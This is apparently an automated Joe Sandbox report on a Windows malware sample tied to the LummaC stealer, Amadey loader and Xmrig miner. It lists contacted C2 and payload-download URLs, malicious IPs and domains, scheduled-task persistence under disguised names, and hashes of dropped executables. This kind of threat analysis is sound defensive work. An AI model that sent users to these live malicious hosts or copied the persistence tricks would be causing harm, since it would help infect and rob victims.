https://grannyejh.lat:443/api	5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php871001	skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/dodo/random.exeN	skotes.exe, 00000006.00000002.3384635500.0000000001089000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click//	850609077b.exe, 0000000D.00000002.3381728843.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php1	skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/9	5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpUsers	skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/	5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000C72000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3057320495.0000000000C99000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/wizard%s	Intel_PTT_EK_Recertification.exe, 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.3210301237.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/dodo/random.exe8476K3	skotes.exe, 00000006.00000002.3384635500.000000000109F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.3210301237.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/dodo/random.exe	skotes.exe, 00000006.00000002.3384635500.000000000109F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001089000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://31.41.244.11/files/dodo/random.exe%3	skotes.exe, 00000006.00000002.3384635500.000000000109F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/burpin1/random.exe	skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apigsK2	5639a58f3b.exe, 0000000A.00000003.3284814163.000000000383F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	false		high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex	svchost.exe, 0000002B.00000002.3335720153.0000000002E3C000.00000004.00000010.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php~	skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/h	850609077b.exe, 0000000D.00000003.3360072814.0000000003A67000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click/f	850609077b.exe, 0000000D.00000003.3359993193.0000000003A67000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/docs/algorithms	Intel_PTT_EK_Recertification.exe, 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.3210301237.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpe	skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://usbtor.ru/viewtopic.php?t=798)Z	7c1324dac5.exe, 0000000E.00000000.3117032209.0000000000423000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpr	skotes.exe, 00000006.00000002.3384635500.0000000001089000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.179.109	grannyejh.lat	United States	13335	CLOUDFLARENETUS	true
104.21.23.76	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577291
Start date and time:	2024-12-18 11:07:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@70/40@3/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:09:01	API Interceptor	806x Sleep call for process: skotes.exe modified
05:09:16	API Interceptor	4x Sleep call for process: 5639a58f3b.exe modified
05:09:28	API Interceptor	3x Sleep call for process: 850609077b.exe modified
05:09:43	API Interceptor	9x Sleep call for process: powershell.exe modified
11:07:55	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
11:09:38	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.179.109	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
104.21.23.76	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	http://www.czeywd.net/perishing-flavoring/7ec4w2395u86zL12Q21YJ51Rc07R28UHsr8D_u4IIr-6IwxfhDtvsFEsvZ7zQboRoK5AH10Y6B1i@Xb	Get hash	malicious	Phisher	Browse
	http://www.chkfmrc.net/a7f5s2n395K86ll11i1Uf0fw9dez18gZ_asttfFibYG4EsvZ7JQ1o9RR5zVW106Ik2i3b/shamefully-illogical	Get hash	malicious	Unknown	Browse
	http://www.chkfmrc.net/a7f5s2n395K86ll11i1Uf0fw9dez18gZ_asttfFibYG4EsvZ7JQ1o9RR5zVW106Ik2i3b/shamefully-illogical	Get hash	malicious	Phisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pancakedipyps.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	188.114.96.6
grannyejh.lat	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
	hzD92yQcTT.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	Awb 4586109146.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	PO 0309494059506060609696007.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	172.64.41.3
	https://2024sharepointonline.z28.web.core.windows.net/	Get hash	malicious	Unknown	Browse	104.16.20.118
	https://cc.naver.com/cc?a=pst.link&m=1&nsc=Mblog.post&u=https://prestamosgarantizados.com/wvr/#svk8Lh6vLh6njx3lLh6vg4Pnq07qug4Plvk8Lh6rjx3z9BR15WPy	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	EXTERNALRe.msg	Get hash	malicious	Unknown	Browse	172.64.41.3
	http://efaktura.dhlecommerce.pl	Get hash	malicious	Unknown	Browse	104.18.86.42
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
CLOUDFLARENETUS	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
	hzD92yQcTT.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	Awb 4586109146.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	PO 0309494059506060609696007.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	172.64.41.3
	https://2024sharepointonline.z28.web.core.windows.net/	Get hash	malicious	Unknown	Browse	104.16.20.118
	https://cc.naver.com/cc?a=pst.link&m=1&nsc=Mblog.post&u=https://prestamosgarantizados.com/wvr/#svk8Lh6vLh6njx3lLh6vg4Pnq07qug4Plvk8Lh6rjx3z9BR15WPy	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	EXTERNALRe.msg	Get hash	malicious	Unknown	Browse	172.64.41.3
	http://efaktura.dhlecommerce.pl	Get hash	malicious	Unknown	Browse	104.18.86.42
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	104.21.66.86

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.179.109 104.21.23.76
	hzD92yQcTT.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.23.76
	JnEZtj3vtN.exe	Get hash	malicious	PureCrypter	Browse	172.67.179.109 104.21.23.76
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.23.76
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	172.67.179.109 104.21.23.76
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109 104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109 104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109 104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109 104.21.23.76

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1986048
Entropy (8bit):	7.952753928793905
Encrypted:	false
SSDEEP:	49152:XK5IeeNzsjPkcGafWrMJKaWsho/KKRdg2:XK+TzKPZGbwgsi/7g
MD5:	74C0FEC1D8D8E4C943BAED136DCF9E56
SHA1:	6399DEA373FC53B963A41547516D50E5A313E603
SHA-256:	C3DC29ECDD50DACFF125E3743FD3153837CC3869C6EEB8195996790013FA6EA1
